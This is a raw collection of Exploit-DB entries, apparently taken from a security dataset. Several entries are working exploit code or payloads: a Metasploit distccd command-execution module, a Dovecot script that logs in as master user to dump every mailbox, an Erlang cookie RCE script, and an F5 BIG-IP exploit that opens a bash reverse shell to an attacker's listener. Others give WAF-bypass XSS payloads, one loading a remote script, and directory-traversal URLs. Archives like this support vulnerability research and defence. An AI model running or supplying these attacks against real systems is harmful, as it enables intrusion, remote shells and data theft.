deardaniel/secdata-raw huggingface dataset:
Exploit-DB #9915
Description: DistCC Daemon - Command Execution (Metasploit)
Type: remote
Platform: multiple
Date: 2002-02-01
Author: H D Moore

Exploit:
##
# $Id: distcc_exec.rb 9669 2010-07-03 03:13:45Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##


require 'msf/core'


class Metasploit3 < Msf::Exploit::Remote
	Rank = ExcellentRanking

	include Msf::Exploit::Remote::Tcp

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'DistCC Daemon Command Execution',
			'Description'    => %q{
				This module uses a documented security weakness to execute
				arbitrary commands on any system running distccd.

			},
			'Author'         => [ 'hdm' ],
			'License'        => MSF_LICENSE,
			'Version'        => '$Revision: 9669 $',
			'References'     =>
				[
					[ 'CVE', '2004-2687'],
					[ 'OSVDB', '13378' ],
					[ 'URL', 'http://distcc.samba.org/security.html'],

				],
			'Platform'       => ['unix'],
			'Arch'           => ARCH_CMD,
			'Privileged'     => false,
			'Payload'        =>
				{
					'Space'       => 1024,
					'DisableNops' => true,
					'Compat'      =>
						{
							'PayloadType' => 'cmd',
							'RequiredCmd' => 'generic perl ruby bash telnet',
						}
				},
			'Targets'        =>
				[
					[ 'Automatic Target', { }]
				],
			'DefaultTarget'  => 0,
			'DisclosureDate' => 'Feb 01 2002'
			))

			register_options(
				[
					Opt::RPORT(3632)
				], self.class)
	end

	def exploit
		connect

		distcmd = dist_cmd("sh", "-c", payload.encoded);
		sock.put(distcmd)

		dtag = rand_text_alphanumeric(10)
		sock.put("DOTI0000000A#{dtag}\n")

		res = sock.get_once(24, 5)

		if !(res and res.length == 24)
			print_status("The remote distccd did not reply to our request")
			disconnect
			return
		end

		# Check STDERR
		res = sock.get_once(4, 5)
		res = sock.get_once(8, 5)
		len = [res].pack("H*").unpack("N")[0]

		return if not len
		if (len > 0)
			res = sock.get_once(len, 5)
			res.split("\n").each do |line|
				print_status("stderr: #{line}")
			end
		end

		# Check STDOUT
		res = sock.get_once(4, 5)
		res = sock.get_once(8, 5)
		len = [res].pack("H*").unpack("N")[0]

		return if not len
		if (len > 0)
			res = sock.get_once(len, 5)
			res.split("\n").each do |line|
				print_status("stdout: #{line}")
			end
		end

		handler
		disconnect
	end


	# Generate a distccd command
	def dist_cmd(*args)

		# Convince distccd that this is a compile
		args.concat(%w{# -c main.c -o main.o})

		# Set distcc 'magic fairy dust' and argument count
		res = "DIST00000001" + sprintf("ARGC%.8x", args.length)

		# Set the command arguments
		args.each do |arg|
			res << sprintf("ARGV%.8x%s", arg.length, arg)
		end

		return res
	end

end
Exploit-DB #34297
Description: dotDefender - Cross-Site Scripting Security Bypass
Type: remote
Platform: multiple
Date: 2010-07-09
Author: SH4V

Exploit:
source: https://www.securityfocus.com/bid/41560/info

dotDefender is prone to a security-bypass vulnerability because it fails to restrict malicious data from reaching protected sites.

Remote attackers can exploit this issue to bypass security restrictions and to launch cross-site scripting attacks. 

<img src="WTF" onError="{var
{3:s,2:h,5:a,0:v,4:n,1:e}='earltv'}[self][0][v+a+e+s](e+s+v+h+n)(/0wn3d/
.source
)" /> //POST

<img src="WTF" onError="{var
{3:s,2:h,5:a,0:v,4:n,1:e}='earltv'}[self][0][v%2Ba%2Be%2Bs](e%2Bs%2Bv%2B
h%2Bn)(
/0wn3d/.source)" /> //GET

EXAMPLES:

Blocked:
http://www.example.com/search?q=%3Cimg%20src=%22WTF%22%20onError=%22{var%20{3:s,2:h,5:a,0:v,4:n,1:e}=%27earltv%27}[self][0][v%2Ba%2Be%2Bs]%28e%2Bs%2Bv%2Bh%2Bn%29%28/0wn3d/.source%29%22%20/%3E

Unblocked:
http://www.example.com/search?q=%3Cimg%20src=%22WTF%22%20onError=alert(/0wn3d/.source)%20/%3E
Exploit-DB #5257
Description: Dovecot IMAP 1.0.10 < 1.1rc2 - Remote Email Disclosure
Type: remote
Platform: multiple
Date: 2008-03-14
Author: kingcope

Exploit:
#lame Dovecot IMAP [1.0.10 -> 1.1rc3] Exploit
#Here's an exploit for the recent TAB vulnerability in Dovecot.
#It's nothing special since in the wild there are few to none
#targets because of the special option which has to be set.
#see CVE Entry CVE-2008-1218
#Exploit written by Kingcope
import sys
import imaplib

print "Dovecot IMAP [1.0.10 -> 1.1rc2] Exploit"
print "Prints out all E-Mails for any account if special configuration option is set"
print "Exploit written by kingcope\n"

if len(sys.argv)<3:
     print "usage: %s <hostname/ip address> <account> [-nossl]" % sys.argv[0]
     exit(0);

if len(sys.argv)>3 and sys.argv[3] == "-nossl":
	M = imaplib.IMAP4(sys.argv[1])
else:
	M = imaplib.IMAP4_SSL(sys.argv[1])
M.login(sys.argv[2], "\"\tmaster_user=root\tskip_password_check=1\"");
M.select()
print "login succeeded."
typ, data = M.search(None, 'ALL')
k=0
for num in data[0].split():
    typ, data = M.fetch(num, '(RFC822)')
    print 'Message %s\n%s\n' % (num, data[0][1])
    k=k+1
M.close()
M.logout()
print "Messages read: %s" % k

# milw0rm.com [2008-03-14]
Exploit-DB #30643
Description: DropTeam 1.3.3 - Multiple Remote Vulnerabilities
Type: remote
Platform: multiple
Date: 2007-10-05
Author: Luigi Auriemma

Exploit:
source: https://www.securityfocus.com/bid/25943/info

DropTeam is prone to multiple remote vulnerabilities including multiple format-string issues, a stack-based buffer-overflow issue, multiple heap-based buffer-overflow issues, and an information-disclosure vulnerability.

An attacker could exploit these issues to execute arbitrary code within the context of the affected application, crash the application, and obtain sensitive information.

These issues affect DropTeam 1.3.3; other versions may also be affected.

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/30643.zip
Exploit-DB #24995
Description: DXFScope 0.2 - Remote Client-Side Buffer Overflow
Type: remote
Platform: multiple
Date: 2004-12-16
Author: Ariel Berkman

Exploit:
source: https://www.securityfocus.com/bid/11986/info

A remote, client-side buffer overflow vulnerability reportedly affects the DXFscope utility. This issue is due to a failure of the application to properly sanitize user-supplied input prior to using it as the format specifier string in a formatted printing function.

An attacker may leverage this issue to execute arbitrary code with the privileges on an unsuspecting user that uses the vulnerable application to process a malicious DXF formatted file. This may facilitate unauthorized access or privilege escalation. 

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/24995.dxf
Exploit-DB #35242
Description: Eclipse 3.3.2 IDE - 'Help Server help/advanced/searchView.jsp?SearchWord' Cross-Site Scripting
Type: remote
Platform: multiple
Date: 2008-04-24
Author: Rob

Exploit:
source: https://www.securityfocus.com/bid/45921/info

Eclipse IDE is prone to multiple cross-site-scripting vulnerabilities because it fails to properly sanitize user-supplied input.

An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may let the attacker steal cookie-based authentication credentials and launch other attacks.

Eclipse IDE 3.3.2 is vulnerable; other versions may also be affected. 

http://www.example.com/help/advanced/searchView.jsp?searchWord=a");}alert('xss');</script>
Exploit-DB #35243
Description: Eclipse 3.3.2 IDE - 'Help Server help/advanced/workingSetManager.jsp?workingSet' Cross-Site Scripting
Type: remote
Platform: multiple
Date: 2008-04-24
Author: Rob

Exploit:
source: https://www.securityfocus.com/bid/45921/info
 
Eclipse IDE is prone to multiple cross-site-scripting vulnerabilities because it fails to properly sanitize user-supplied input.
 
An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may let the attacker steal cookie-based authentication credentials and launch other attacks.
 
Eclipse IDE 3.3.2 is vulnerable; other versions may also be affected. 

http://www.example.com/help/advanced/workingSetManager.jsp?operation=add&workingSet='%3E%3Cscript%20src%3D'http%3A%2F%2F1.2.3.4%2Fa.js'%3E%3C%2Fscript%3E
&hrefs=%2Fcom.adobe.flexbuilder.help.api%2Ftoc.xml&oldName=
Exploit-DB #45272
Description: Electron WebPreferences - Remote Code Execution
Type: remote
Platform: multiple
Date: 2018-08-27
Author: Matt Austin

Exploit:
CVE-2018-15685 - Electron WebPreferences Remote Code Execution
This is a minimal Electron application with a POC for CVE-2018-15685.

A remote code execution vulnerability has been discovered affecting apps with the ability to open nested child windows on Electron versions (3.0.0-beta.6, 2.0.7, 1.8.7, and 1.7.15). This vulnerability has been assigned the CVE identifier CVE-2018-15685.

For more information see my full write up on the Contrast Security blog (https://www.contrastsecurity.com/security-influencers/cve-2018-15685) or the write up on the offical blog from Electron (https://electronjs.org/blog/web-preferences-fix)

The project contains the fillowing files:

main.js - This is the app's main process. Note this has nodeIntegration disabled so it should not be possibe use "process"
index.html - This is an example rendered page. This could be remotely controlled URL, or a page from an application with an XSS. In this example even though it is a local file but should not have access to node bindings.
You can learn more about each of these components within the Quick Start Guide.

To Use
To clone and run this repository you'll need Git and Node.js (which comes with npm) installed on your computer. From your command line:

# Clone this repository
git clone https://github.com/matt-/CVE-2018-15685
# Go into the repository
cd CVE-2018-15685
# Install dependencies
npm install
# Run the app
npm start


Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/45272.zip
Exploit-DB #32363
Description: Epic Games Unreal Engine 436 - Multiple Format String Vulnerabilities
Type: remote
Platform: multiple
Date: 2008-09-11
Author: Luigi Auriemma

Exploit:
source: https://www.securityfocus.com/bid/31141/info

Unreal Engine is prone to multiple remote format-string vulnerabilities.

Attackers can exploit the issues to execute arbitrary code within the context of a client application that uses the vulnerable engine. 

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/32363.zip
Exploit-DB #22224
Description: Epic Games Unreal Engine 436 - URL Directory Traversal
Type: remote
Platform: multiple
Date: 2003-02-05
Author: Auriemma Luigi

Exploit:
source: https://www.securityfocus.com/bid/6775/info

It has been reported that a directory traversal vulnerability exists in several games using some versions of the Unreal Engine.

It is possible for attackers to traverse outside of the game's installation directory using directory traversal sequences.

If the attacker refers to specific files it may be possible to cause the vulnerable game client to crash.

unreal://\directory\file
unreal://..\..\directory\file
Exploit-DB #49418
Description: Erlang Cookie - Remote Code Execution
Type: remote
Platform: multiple
Date: 2021-01-13
Author: 1F98D

Exploit:
# Exploit Title: Erlang Cookie - Remote Code Execution
# Date: 2020-05-04
# Exploit Author: 1F98D
# Original Author: Milton Valencia (wetw0rk)
# Software Link: https://www.erlang.org/
# Version: N/A
# Tested on: Debian 9.11 (x64)
# References:
# https://insinuator.net/2017/10/erlang-distribution-rce-and-a-cookie-bruteforcer/
#
# Erlang allows distributed Erlang instances to connect and remotely execute commands.
# Nodes are permitted to connect to eachother if they share an authentication cookie,
# this cookie is commonly called ".erlang.cookie"
# 
#!/usr/local/bin/python3
​
import socket
from hashlib import md5
import struct
import sys
​
TARGET = "192.168.1.1"
PORT = 25672
COOKIE = "XXXXXXXXXXXXXXXXXXXX"
CMD = "whoami"
​
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((TARGET, PORT))
​
name_msg  = b"\x00"
name_msg += b"\x15"
name_msg += b"n"
name_msg += b"\x00\x07"
name_msg += b"\x00\x03\x49\x9c"
name_msg += b"AAAAAA@AAAAAAA"
​
s.send(name_msg)
s.recv(5)                    # Receive "ok" message
challenge = s.recv(1024)     # Receive "challenge" message
challenge = struct.unpack(">I", challenge[9:13])[0]
​
print("Extracted challenge: {}".format(challenge))
​
challenge_reply  = b"\x00\x15"
challenge_reply += b"r"
challenge_reply += b"\x01\x02\x03\x04"
challenge_reply += md5(bytes(COOKIE, "ascii") + bytes(str(challenge), "ascii")).digest()
​
s.send(challenge_reply)
challenge_res = s.recv(1024)
if len(challenge_res) == 0:
    print("Authentication failed, exiting")
    sys.exit(1)
​
print("Authentication successful")
​
ctrl = b"\x83h\x04a\x06gw\x0eAAAAAA@AAAAAAA\x00\x00\x00\x03\x00\x00\x00\x00\x00w\x00w\x03rex"
msg  = b'\x83h\x02gw\x0eAAAAAA@AAAAAAA\x00\x00\x00\x03\x00\x00\x00\x00\x00h\x05w\x04callw\x02osw\x03cmdl\x00\x00\x00\x01k'
msg += struct.pack(">H", len(CMD))
msg += bytes(CMD, 'ascii')
msg += b'jw\x04user'
​
payload = b'\x70' + ctrl + msg
payload = struct.pack('!I', len(payload)) + payload
print("Sending cmd: '{}'".format(CMD))
s.send(payload)
print(s.recv(1024))
Exploit-DB #20869
Description: eSafe Gateway 2.1 - Script-filtering Bypass
Type: remote
Platform: multiple
Date: 2001-05-20
Author: eDvice Security Services

Exploit:
source: https://www.securityfocus.com/bid/2750/info

eSafe Gateway is a security utility used for filtering internet content.

An html file may be crafted to bypass the script-filtering feature offered by eSafe Gateway. This is done by simply changing the syntax of the <SCRIPT> function in such a way as to trick the filter into generating html that still includes a call to execute the script.

Note: There are currently conflicting details regarding this vulnerability. It has been reported that version 3.0 of eSafe Gateway is not vulnerable. The author of the advisory insists that versions 2.x are vulnerable, while the vendor claims that script filtering was not a feature in these versions. Forthcoming updates will be released as more information becomes available.

Details
----------------------
Let's say for example that we want the following HTML code to enter an
organization and the script it contains to be executed:

<HTML><HEAD></HEAD>
<BODY>
<SCRIPT language="JavaScript">
alert("hi");
</SCRIPT>
</BODY></HTML>

If we run this page through eSafe's filtering engine, the script will be
filtered and the resulting with the following HTML code:

<HTML><HEAD></HEAD>
<BODY>

</BODY></HTML>

However, if we create the following code:

<HTML><HEAD></HEAD>
<BODY>
<SCRIPT<script language="javascript"> </script> language="javascript">
alert("hi");
</SCRIPT>
</BODY></HTML>

Then the inner "<script language="javascript"> </script>" will be extracted
and we will be left with the following HTML code:

<HTML><HEAD></HEAD>
<BODY>
<SCRIPT language="javascript">
alert("hi");
</SCRIPT>
</BODY></HTML>
Exploit-DB #39115
Description: ET - Chat Password Reset Security Bypass
Type: remote
Platform: multiple
Date: 2014-03-09
Author: IRH

Exploit:
source: https://www.securityfocus.com/bid/66149/info

ET - Chat is prone to a security bypass vulnerability.

An attacker can exploit this issue to bypass certain security restrictions and perform unauthorized actions; this may aid in launching further attacks.

ET - Chat 3.0.7 is vulnerable; other versions may also be affected.

#!/usr/bin/env python
__author__ = 'IRH'
print "Example: et-chat.py http://et-chat.com/chat"

import urllib
import sys

url = sys.argv[1]
url1 = url+"/?InstallIndex"
url2 = url+"/?InstallMake"

checkurl = urllib.urlopen(url1)

if checkurl.code == 200 :
    urllib.urlopen(url2)
    print "Password Was Reseted!! Enjoy ;)"
else:
    print "Site is not Vulnerability"
Exploit-DB #51825
Description: Executables Created with perl2exe < V30.10C - Arbitrary Code Execution
Type: remote
Platform: multiple
Date: 2024-02-27
Author: decrazyo

Exploit:
# Exploit Title: Executables Created with perl2exe <= V30.10C - Arbitrary Code Execution
# Date: 10/17/2023
# Exploit Author: decrazyo
# Vendor Homepage: https://www.indigostar.com/
# Software Link: https://www.indigostar.com/download/p2x-30.10-Linux-x64-5.30.1.tar.gz
# Version: <= V30.10C
# Tested on: Ubuntu 22.04

# Description:
perl2exe packs perl scripts into native executables.
Those executables use their 0th argument to locate a file to unpack and execute.
Because of that, such executables can be made to execute another executable that has been compiled with perl2exe by controlling the 0th argument.
That can be useful for breaking out of restricted shell environments.

# Proof and Concept:
user@testing:~/example$ ls
p2x-30.10-Linux-x64-5.30.1.tar.gz  perl2exe-Linux-x64-5.30.1
user@testing:~/example$ 
user@testing:~/example$ # Create and pack a "safe" perl script to target with the attack.
user@testing:~/example$ echo 'print("I am completely safe\n");' > safe.pl
user@testing:~/example$ ./perl2exe-Linux-x64-5.30.1/perl2exe safe.pl
Perl2Exe V30.10C 2020-12-11 Copyright (c) 1997-2020 IndigoSTAR Software
...
Generating safe
user@testing:~/example$ 
user@testing:~/example$ # Check that the program executes as expected.
user@testing:~/example$ ./safe
I am completely safe
user@testing:~/example$ 
user@testing:~/example$ # Create and pack a "malicious" script that we want to execute.
user@testing:~/example$ echo 'print("j/k I am malicious AF\n");system("/bin/sh");' > malicious.pl
user@testing:~/example$ ./perl2exe-Linux-x64-5.30.1/perl2exe malicious.pl
Perl2Exe V30.10C 2020-12-11 Copyright (c) 1997-2020 IndigoSTAR Software
...
Generating malicious
user@testing:~/example$ 
user@testing:~/example$ # Our "malicious" file doesn't need to have execution permissions.
user@testing:~/example$ chmod -x malicious
user@testing:~/example$ ./malicious
-bash: ./malicious: Permission denied
user@testing:~/example$ 
user@testing:~/example$ # Execute the "safe" program with the name of the "malicious" program as the 0th argument.
user@testing:~/example$ # The "safe" program will unpack and execute the "malicious" program instead of itself.
user@testing:~/example$ bash -c 'exec -a malicious ./safe'
j/k I am malicious AF
$ pstree -s $$
systemd‚îÄ‚îÄ‚îÄsshd‚îÄ‚îÄ‚îÄsshd‚îÄ‚îÄ‚îÄsshd‚îÄ‚îÄ‚îÄbash‚îÄ‚îÄ‚îÄsafe‚îÄ‚îÄ‚îÄsh‚îÄ‚îÄ‚îÄpstree
$
Exploit-DB #20234
Description: extent technologies rbs isp 2.5 - Directory Traversal
Type: remote
Platform: multiple
Date: 2000-09-21
Author: anon

Exploit:
source: https://www.securityfocus.com/bid/1704/info

A remote user is capable of gaining read access to any file residing in the same directory of a host running Extent RBS ISP through directory traversal. Appending '../' to the 'image' variable request on port 8002 will enable a user to read any available file includeing credit card details, username, password etc.

For example:

http://target:8002/Newuser?Image=../../database/rbsserv.mdb
Exploit-DB #50932
Description: F5 BIG-IP 16.0.x - Remote Code Execution (RCE)
Type: remote
Platform: multiple
Date: 2022-05-12
Author: Yesith Alvarez

Exploit:
# Exploit Title: F5 BIG-IP 16.0.x - Remote Code Execution (RCE)
# Exploit Author: Yesith Alvarez
# Vendor Homepage: https://www.f5.com/products/big-ip-services
# Version: 16.0.x 
# CVE : CVE-2022-1388

from requests import Request, Session
import sys
import json



def title():
    print('''
    
   _______      ________    ___   ___ ___  ___       __ ____   ___   ___  
  / ____\ \    / /  ____|  |__ \ / _ \__ \|__ \     /_ |___ \ / _ \ / _ \ 
 | |     \ \  / /| |__ ______ ) | | | | ) |  ) |_____| | __) | (_) | (_) |
 | |      \ \/ / |  __|______/ /| | | |/ /  / /______| ||__ < > _ < > _ < 
 | |____   \  /  | |____    / /_| |_| / /_ / /_      | |___) | (_) | (_) |
  \_____|   \/   |______|  |____|\___/____|____|     |_|____/ \___/ \___/ 
                                                                          
                                                                                                                      
                                                                              
Author: Yesith Alvarez
Github: https://github.com/yealvarez
Linkedin: https://www.linkedin.com/in/pentester-ethicalhacker/
    ''')   

def exploit(url, lhost, lport):
	url = url + 'mgmt/tm/util/bash'
	data = {
		"command":"run",
		"utilCmdArgs":"-c 'bash -i >& /dev/tcp/"+lhost+"/"+lport+" 0>&1'"
		
	}
	headers = {
		'Authorization': 'Basic YWRtaW46',		
		'Connection':'keep-alive, X-F5-Auth-Token',
		'X-F5-Auth-Token': '0'

	}
	s = Session()
	req = Request('POST', url, json=data, headers=headers)
	prepped = req.prepare()
	del prepped.headers['Content-Type']
	resp = s.send(prepped,
	    verify=False,
	    timeout=15
	)
	#print(prepped.headers)
	#print(url)
	#print(resp.headers)
	#print(resp.json())
	print(resp.status_code)


if __name__ == '__main__':
    title()
    if(len(sys.argv) < 4):
    	print('[+] USAGE: python3 %s https://<target_url> lhost lport\n'%(sys.argv[0]))
    	print('[+] USAGE: python3 %s https://192.168.0.10 192.168.0.11 4444\n'%(sys.argv[0]))
    	print('[+] Do not forget to run the listener: nc -lvp 4444\n')
    	exit(0)
    else:
    	exploit(sys.argv[1],sys.argv[2],sys.argv[3])
Exploit-DB #23307
Description: Fastream NetFile 6.0.3.588 - Error Message Cross-Site Scripting
Type: remote
Platform: multiple
Date: 2003-10-28
Author: Oliver Karow

Exploit:
source: https://www.securityfocus.com/bid/8908/info

It has been reported that a cross-site scripting vulnerability may exist in NetFile that may allow remote attackers to execute HTML or script code in a user's browser. The issue is reported to occur due to a "404 Not Found" error message returned to the user due to a request for a URL that does not exist. The error message reportedly contains the bad URL which is not properly sanitized therefore allowing an attacker to a construct a malicious link containing HTML or script code that may be rendered in a user's browser.

Successful exploitation of this attack may allow an attacker to steal cookie-based authentication information that could be used to launch further attacks.

NetFile FTP/Webserver Version 6.0.3.588 has been reported to be prone to this issue, however other versions may be affected as well. 

http://www.example.com/<script>alert("bang")</script>
Exploit-DB #20882
Description: faust Informatics FreeStyle chat 4.1 sr2 - Directory Traversal
Type: remote
Platform: multiple
Date: 2001-05-25
Author: nemesystm

Exploit:
source: https://www.securityfocus.com/bid/2776/info

Freestyle Chat server from Faust Informatics incorporates interactive chat functionality into websites.

Versions of Freestyle Chat are vulnerable to directory traversal attacks. This can allow a remote user to request files from outside the normal webserver directory scope.

Properly exploited, this could provide information useful in further attacks on the vulnerable host. 

http://www.example.com/.../.../scandisk.log